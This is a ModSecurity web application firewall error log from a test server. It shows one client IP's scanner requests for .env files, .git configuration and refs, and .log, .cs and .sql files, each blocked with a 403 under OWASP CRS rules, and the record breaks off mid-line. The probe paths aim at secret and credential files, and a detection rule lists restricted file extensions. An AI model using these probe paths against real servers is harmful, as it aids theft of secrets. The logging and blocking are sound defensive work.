[Thu Feb 26 01:03:29.210167 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /sources/api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sources/api/.env&quot;] [unique_id &quot;aZ-N0SSJSniLip0oFXizdwAAAAA&quot;]
[Thu Feb 26 01:03:29.210464 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sources/api/.env&quot;] [unique_id &quot;aZ-N0SSJSniLip0oFXizdwAAAAA&quot;]
[Thu Feb 26 01:03:29.210649 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sources/api/.env&quot;] [unique_id &quot;aZ-N0SSJSniLip0oFXizdwAAAAA&quot;]
[Thu Feb 26 01:03:29.355049 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.git/config&quot;] [unique_id &quot;aZ-N0SSJSniLip0oFXizewAAAAA&quot;]
[Thu Feb 26 01:03:29.355268 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.git/config&quot;] [unique_id &quot;aZ-N0SSJSniLip0oFXizewAAAAA&quot;]
[Thu Feb 26 01:03:29.355423 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.git/config&quot;] [unique_id &quot;aZ-N0SSJSniLip0oFXizewAAAAA&quot;]
[Thu Feb 26 01:03:29.546574 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /vendor/drupal/coder/.git/info/refs&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/drupal/coder/.git/info/refs&quot;] [unique_id &quot;aZ-N0TAL5Lg_nL66HcLiUQAAAAE&quot;]
[Thu Feb 26 01:03:29.546855 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/drupal/coder/.git/info/refs&quot;] [unique_id &quot;aZ-N0TAL5Lg_nL66HcLiUQAAAAE&quot;]
[Thu Feb 26 01:03:29.547035 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/drupal/coder/.git/info/refs&quot;] [unique_id &quot;aZ-N0TAL5Lg_nL66HcLiUQAAAAE&quot;]
[Thu Feb 26 01:03:29.584895 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /vendor/drupal/coder/.git/info/exclude&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/drupal/coder/.git/info/exclude&quot;] [unique_id &quot;aZ-N0TAL5Lg_nL66HcLiUgAAAAE&quot;]
[Thu Feb 26 01:03:29.585167 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/drupal/coder/.git/info/exclude&quot;] [unique_id &quot;aZ-N0TAL5Lg_nL66HcLiUgAAAAE&quot;]
[Thu Feb 26 01:03:29.585340 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/drupal/coder/.git/info/exclude&quot;] [unique_id &quot;aZ-N0TAL5Lg_nL66HcLiUgAAAAE&quot;]
[Thu Feb 26 01:03:29.623734 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /vendor/drupal/coder/.git/objects/info&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/drupal/coder/.git/objects/info&quot;] [unique_id &quot;aZ-N0TAL5Lg_nL66HcLiUwAAAAE&quot;]
[Thu Feb 26 01:03:29.624003 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/drupal/coder/.git/objects/info&quot;] [unique_id &quot;aZ-N0TAL5Lg_nL66HcLiUwAAAAE&quot;]
[Thu Feb 26 01:03:29.624172 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/drupal/coder/.git/objects/info&quot;] [unique_id &quot;aZ-N0TAL5Lg_nL66HcLiUwAAAAE&quot;]
[Thu Feb 26 01:03:29.673319 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /vendor/drupal/coder/.git/objects/info/packs&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/drupal/coder/.git/objects/info/packs&quot;] [unique_id &quot;aZ-N0TAL5Lg_nL66HcLiVAAAAAE&quot;]
[Thu Feb 26 01:03:29.673629 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/drupal/coder/.git/objects/info/packs&quot;] [unique_id &quot;aZ-N0TAL5Lg_nL66HcLiVAAAAAE&quot;]
[Thu Feb 26 01:03:29.673818 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/drupal/coder/.git/objects/info/packs&quot;] [unique_id &quot;aZ-N0TAL5Lg_nL66HcLiVAAAAAE&quot;]
[Thu Feb 26 01:03:29.698710 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/info.log&quot;] [unique_id &quot;aZ-N0TAL5Lg_nL66HcLiVQAAAAE&quot;]
[Thu Feb 26 01:03:29.699214 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/info.log&quot;] [unique_id &quot;aZ-N0TAL5Lg_nL66HcLiVQAAAAE&quot;]
[Thu Feb 26 01:03:29.699378 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/info.log&quot;] [unique_id &quot;aZ-N0TAL5Lg_nL66HcLiVQAAAAE&quot;]
[Thu Feb 26 01:03:29.786512 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /vendor/drupal/coder/.git/info/refs&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/drupal/coder/.git/info/refs&quot;] [unique_id &quot;aZ-N0SSJSniLip0oFXizhgAAAAA&quot;]
[Thu Feb 26 01:03:29.786753 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/drupal/coder/.git/info/refs&quot;] [unique_id &quot;aZ-N0SSJSniLip0oFXizhgAAAAA&quot;]
[Thu Feb 26 01:03:29.786915 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/drupal/coder/.git/info/refs&quot;] [unique_id &quot;aZ-N0SSJSniLip0oFXizhgAAAAA&quot;]
[Thu Feb 26 01:03:29.836481 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /vendor/drupal/coder/.git/info/exclude&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/drupal/coder/.git/info/exclude&quot;] [unique_id &quot;aZ-N0SSJSniLip0oFXizhwAAAAA&quot;]
[Thu Feb 26 01:03:29.836728 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/drupal/coder/.git/info/exclude&quot;] [unique_id &quot;aZ-N0SSJSniLip0oFXizhwAAAAA&quot;]
[Thu Feb 26 01:03:29.836891 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/drupal/coder/.git/info/exclude&quot;] [unique_id &quot;aZ-N0SSJSniLip0oFXizhwAAAAA&quot;]
[Thu Feb 26 01:03:29.843320 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.cs&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cmsmessages/information.aspx.cs&quot;] [unique_id &quot;aZ-N0TAL5Lg_nL66HcLiWQAAAAE&quot;]
[Thu Feb 26 01:03:29.843870 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cmsmessages/information.aspx.cs&quot;] [unique_id &quot;aZ-N0TAL5Lg_nL66HcLiWQAAAAE&quot;]
[Thu Feb 26 01:03:29.844034 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cmsmessages/information.aspx.cs&quot;] [unique_id &quot;aZ-N0TAL5Lg_nL66HcLiWQAAAAE&quot;]
[Thu Feb 26 01:03:29.865760 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname 